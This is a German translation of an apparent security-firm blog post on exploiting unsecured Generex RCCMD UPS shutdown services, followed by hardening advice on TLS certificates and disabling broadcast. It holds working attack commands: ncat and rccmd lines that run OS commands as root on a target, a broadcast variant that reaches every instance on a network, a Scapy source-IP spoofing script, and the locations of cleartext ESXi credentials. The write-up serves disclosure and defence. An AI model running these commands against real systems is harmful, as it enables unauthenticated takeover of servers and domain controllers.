Ausnutzung von ungesicherten RCCMD-Installationen

Übernahme von Systemen durch Remote Wartung Software

Dies ist eine übersetzte Version. Das englische Original finden Sie hier.

Generex RCCMD (Remote Control Command) ist eine Software, die es der USV (unterbrechungsfreie Stromversorgung) erlaubt kritische Systeme rechtzeitig herunterzufahren, bevor der Strom ausgeht. RCCMD erfreut sich in Deutschland vor allem in kleinen und mittelständischen Unternehmen recht großer Beliebtheit. In den letzten Jahren hat MOGWAI LABS bei Penetrationstests mehrere unsicher konfigurierte RCCMDMInstallationen ausgenutzt um Systeme (inklusive Domain Controller) unserer Kunden zu kompromittieren.

RCCMD Übersicht

Eine typische Installation besteht normalerweise aus einem USV-Überwachungssystem (UPSMON) und mehreren “Client”-Systemen, auf denen der RCCMD-Dienst installiert ist. Wir werden uns hier auf den RCCMD-Dienst konzentrieren.

Im Falle eines Stromausfalls im Rechenzentrum kann sich das UPSMON-System mit den RCCMD-Clients verbinden und eine Shutdown-Sequenz einleiten. Während dieser Prozedur ist es beispielsweise möglich, Betriebssystembefehle/Skripte auf den Zielrechnern auszuführen oder Nachrichten an den aktuell angemeldeten Benutzer zu senden.

RCCMD bietet Installationspakete für verschiedene Betriebssysteme (Linux, Windows, OSX, ESXi). Die ESXi Version ist eigentlich eine virtuelle Maschine mit einer speziellen RCCMD Version, die in der Lage ist, den ESXi Host über SSH herunterzufahren.

Standardmäßig verwendet RCCMD die folgenden Ports (der Windows-Installer konfiguriert die Firewall-Freischaltung für diese Dienste):

Port Kommentar
8080/tcp Web-basiertes Management
8433/tcp Web-basiertes Management (HTTPS)
433/tcp Web-basiertes Management (HTTPS) (ESXi only)
6003/tcp RCCMD listener
6003/udp RCCMD listener
961/tcp Message Port RCCMD for tray (Windows only)

Das web-basierte Management ermöglicht den Zugriff auf die zentaralen Systemeinstellungen. Dies beinahltet auch die Skripte, die ausgeführt werden, wenn die USV einen Remote-Befehl sendet.

Der RCCMD Nachrichten Protokoll

Das RCCMD-Protokoll ist ein einfaches, textbasiertes Protokoll, das von sich aus keine Form der Authentifizierung bietet. Ein textbasierter Client kann eine Verbindung zum RCCMD-Dienst herstellen und die Zeichenfolge “CONNECT TO RCCMD (SEND) MSG_EXECUTE” senden, gefolgt vom eigentlichen Befehl. Das RCCMD-Protokoll kennt die folgenden Befehle:

Command Kommentar
SHUTDOWN Execute a shutdown of the remote system
EXECUTE Execute a OS command on the remote system
MSG_ID Send a predefined message to the RCCMD tray
MSG_TEXT Send a text message to the RCCMD tray
MAIL_ID Send a mail with a predefined message
MAIL_TEXT Send a email with a text message
LOG_ID Add a predefined message to the RCCMD log
LOG_TEXT Add a text message to the RCCMD log
WAKEUP ???

The following example shows how to use ncat to send a message to the RCCMD log. The RCCMD message service does not return any response

Das folgende Beispiel zeigt, wie per ncat eine Nachricht in das RCCMD Log geschrieben werden kann. Der RCCMD Dienst gibt keine Antwort zurück

echo "CONNECT TO RCCMD (SEND) MSG_EXECUTE LOG_TEXT  NCAT log entry" | ncat TARGET_IP 6003

Je nach empfangenem Befehl führt der RCCMD Dienst verschiedene Skripte/Batch-Dateien aus. Diese können über das Webinterface konfiguriert werden.

editing the RCCMD scripts within the web interface

Jede RCCMD Installation enthält ein “rccmd” Programm, das den RCCMD-Listener-Dienst bereitstellt, aber auch als einfacher RCCMD-Client verwendet werden kann.

./rccmd -h
 rccmd may be run in listen-, or send-mode.
 listen-mode: wait for connections from rccmd sender:
 rccmd -l [options]
 options are:
 -c <file>        : read Configuration from <file>
 -d               : run as foreground process
 -bs <file>       : execute <file> if "SHUTDOWN" command is received
 -ba <file>       : execute <file> if upsman/upstcp is not alive
 -a <host>        : allow rccmd connection only from <host>
 -p <port>        : listen(/receive) on tcp(/udp) <port>
 -ac <host[:port]>: check if upsman/upstcp at <host[:port]> is alive
 -pc <port>       : check upsman/upstcp on <port>
 -rc <num>        : check is disabled after <num> unsuccessful retries
 -tc <time>       : check upsman/upstcp every <time> minutes
 -ssl             : use SSL connection

 send-mode (rccmd): send "command" to rccmd listener:
 rccmd -se "command [parameter]" -a <host[:port]> | -ab <ip-address> [options]
 -a <host[:port]> : send to rccmd at <host[:port]>
 -ab <ip-address> : send rccmd broadcast on <ip-address>
 "command" is one of:
 SHUTDOWN| EXECUTE| MSG_ID| MSG_TEXT| MAIL_ID| MAIL_TEXT| LOG_ID| LOG_TEXT
 options are:
 -p <port>        : send to rccmd on <port>
 -t <time>        : try at most <time> seconds to connect

 send-mode (upsman): check if upsman/upstcp is alive:
 rccmd -sc -a <host[:port]> [options]
 -a <host[:port]> : check upsman/upstcp at <host[:port]>
 options are:
 -p <port>        : check upsman/upstcp on <port>
 -ssl             : use SSL connection
 -sslnorec        : SSL - do not reject expired certificates
 -t <time>        : try at most <time> seconds to connect

 common options:
 -?               : display this help and exit
 -v               : display version number and exit

Exploiting unsicherer Standardinstallationen

Die Kompromittierung einer Standardinstallation ist trivial, da RCCMD es erlaubt, beliebige Betriebssystembefehle mit root/SYSTEM-Rechten auszuführen. Das folgende Beispiel verwendet das rccmd-Binary, um eine Datei mit Root-Rechten auf einem Linux-Ziel zu erstellen:

rccmd -se  "EXECUTE touch /tmp/pwn_via_RCCMD" -a TARGET_IP
05/27/2021,21:51:51, rccmd[17754]: Send Mode started
05/27/2021,21:51:51, rccmd[17754]: Trying to establish a connection to TARGET_IP ...
05/27/2021,21:51:51, rccmd[17754]: Connection established to TARGET_IP OK.
05/27/2021,21:51:51, rccmd[17754]: Send Mode stopped

Hier die “ncat”-Version, falls kein RCCMD Client verfügbar sein sollte:

echo "CONNECT TO RCCMD (SEND) MSG_EXECUTE EXECUTE touch /tmp/pwn_via_RCCMD" | ncat TARGET_IP 6003

Der RCCMD Dienst gibt keine Informationen über die erfoglreiche Ausführung des Befehls zurück.

RCCMD bietet auch eine Broadcast-Version des RCCMD Listeners, erreichbar an UDP-Port 6003. Diese Version erlaubt es, alle RCCMD-Instanzen innerhalb eines Netzwerks mit einem einzigen Befehl zu kompromittieren:

./rccmd -se  "EXECUTE touch /tmp/pwn_via_RCCMD" -ab BROADCAST_IP
05/27/2021,21:52:57, rccmd[18164]: Send Mode started
05/27/2021,21:52:57, rccmd[18164]: Trying to send broadcast to BROADCAST_IP ...
05/27/2021,21:52:57, rccmd[18164]: Connection established to BROADCAST_IP OK.
05/27/2021,21:52:57, rccmd[18164]: Send Mode stopped

Looting

Das RCCMD Webinterface bietet nur ein “admin” Konto, das Anlegen weiterer Konten ist nicht möglich. Das Passwort dieses Kontos wird in der Datei “realm.properties” gespeichert, wobei ein Linux-Crypt-Hash verwendet wird.

Wenn sich Angreifer Zugang zu einem RCCMD ESXi System verschaffen, sieht die Sache schon anders aus. Der Hauptzweck dieses Systems besteht darin, virtuelle Maschinen und ESXi-Server herunterzufahren bzw. auf einen anderen Server zu migrieren.

Screenshot der VMWARE Einstellungen des RCCMD Webinterface

Diese Anmeldeinformationen werden im Klartext in “.creds”-Dateien gespeichert, die sich im RCCMD-Rootverzeichnis befinden. Die Dateien sind nach dem Hostnamen des Ziels benannt:

root@rccmdAppliance:/# cat /usr/rccmd/.esxi.creds

VI_SERVER = esxi
VI_USERNAME = user
VI_PASSWORD = the-password

Härten von RCCMD Installationen

Standardmäßig kann ein RCCMD Listener auf zwei Arten gegen Angriffe abgesichert werden:

  • Einschränkung der Quell-IPs, die mit dem RCCMD Dienst kommunizieren dürfen
  • Erzwingen der Authentifizierung durch TLS/SSL Zertifikate

Die Einschränkung der erlaubten IP-Adressen ist bei weitem die gängigste Maßnahme, sie kann aber oft durch den Broadcast Dienst umgangen werden. Der Aufruf des Dienst kann mit einem einzigen UDP-Paket erfolgen, so dass Angreifer die Quell-IP-Adresse leicht spoofen können, z. B. durch die Verwendung von Scapy:

from scapy.all import *

ip = IP(dst='172.16.104.2', src='172.16.104.10')
udp = UDP(sport=5555,dport=6003)
payload = b'CONNECT TO RCCMD (SEND) MSG_EXECUTE LOG_TEXT  spoofed RCCMD log entry'

packet = ip/udp/payload

send(packet)

Angreifer müssen nur eine der freigegebenen IP-Adressen kennen. Dies ist häufig eine einfache Aufgabe: Durch Scannen des Netzwerks lassen sich in der Regel UPSMAN, RCCMD oder anderen USV-Systeme uund damit potenzielle Kandidaten finden. Je nach Größe des Netzkwerls könnte der Angreifer auch einfach alle möglichen IP-Adressen innerhalb eines bestimmten Bereichs ausprobieren.

Der RCCMD-Listener kann durch die Verwendung von TLS-Zertifikaten weiter abgesichert werden. Das Aktivieren von TLS hat den netten Zusatzeffekt, dass es automatisch die RCCMD-Broadcast-Version des Dienstes “deaktiviert”, da dies mehrere Pakete zwischen Client und Server erfordern würde. Das Webinterface bietet hier nur zwei allgemeine Optionen:

Screenshot der RCCMS TLS Konfigurationseinstellungen

Die Beschreibung ist ein wenig irreführend. Wenn TLS aktiviert ist, muss sich der Client per TLS-Zertifikat authentifizieren. Da die rccmd-Binärdatei jedoch gleichzeitig als Client und als Dienst verwendet werden kann, bringt dies einige Schwierigkeiten mit sich:

RCCMD erwartet die Zertifikate in der Datei “rccmd.pem”. Eine Standard RCCMD-Installation enthält bereits diese Datei, die weltweit lesbar ist und ein veraltetes TLS-Zertifikat enthält.

Die in der rccmd.pem Datei hinterlegten Zertifikate müssen die folgende Reihenfolge haben:

  1. Öffentlicher Schlüssel
  2. Privater Schlüssel (ohne Passwort)
  3. Öffentlicher Schlüssel der Zertifizierungsstelle (CA)

Der private Schlüssel des Servers kann daher zur Authentifizierung gegenüber dem Dienst verwendet werden. Das ist was unserer Erfahrung nach die meisten RCCMD-Administratoren auch tun.

Hier ein Beispiel für die Erstellung und Installation eines Zertifikats unter einer Linux RCCMD-Installation.

# Create a new CA, will be stored in ./demoCA
mkdir ~/rccmd-ca
cd ~/rccmd-ca
/lib/ssl/misc/CA.pl -newca


# Create and sign a new certifcate
# Key and certificate will be stored in newkey.pem and newcert.pem
/lib/ssl/misc/CA.pl -newreq-nodes
/lib/ssl/misc/CA.pl -sign

# Add the public/private key to the our new rccmd-new.pwm
openssl x509 -in newcert.pem -outform PEM > rccmd-new.pem
cat newkey.pem >> rccmd-new.pem 

# Append the public key from the CA to our rrcmd.pem
openssl x509 -in ./demoCA/cacert.pem -outform PEM >> rccmd-new.pem

# Create a backup of the original rccmd.pem
sudo cp /opt/rccmd/rccmd.pem /opt/rccmd/rccmd-backup.pem

# Replace the original rccmd.pem with out new version
sudo cp rccmd-new.pem /opt/rccmd/rccmd.pem
sudo chown root:root /opt/rccmd/rccmd.pem
sudo chmod 600 /opt/rccmd/rccmd.pem

# Please don't forget to
# enable TLS within the web configuration

# restart RCCMD service
sudo /etc/init.d/rccmd_start restart

## test the new connection from localhost
sudo /opt/rccmd/rccmd -ssl -se "LOG_TEXT TLS is working" -a 127.0.0.1

Um eine RCCMD-Installation abzusichern, wird dringend empfohlen, die freigeschalteten IP-Adressen einzuschränken sowie die TLS-Unterstützung zu aktivieren. Die Verwendung von TLS-Zertifikaten allein ist eventuell nicht ausreichend: Ein lokaler Angreifer könnte in der Lage sein, den privaten Schlüssel aus der Datei rccmd.pem zu lesen, was ihm immer noch erlauben würde, seine Privilegien auf Root- oder SYSTEM-Rechte zu erhöhen.

Wenn TLS “zu kompliziert” ist, sollte der Broadcast-Dienst in der RCCMD-Konfigurationsdatei (rrcmd.cfg) deaktiviert werden, um eine mögliche Umgehung der Zugriffsbeschränkung durch den IP Filter zu verhindern:

# Enable UDP
# Defines if we should listen for rccmd (UDP) broadcasts
# Default: true
ListenUDP=false

Vielen Dank an Mika Baumeister bei Unsplash für das Titelbild.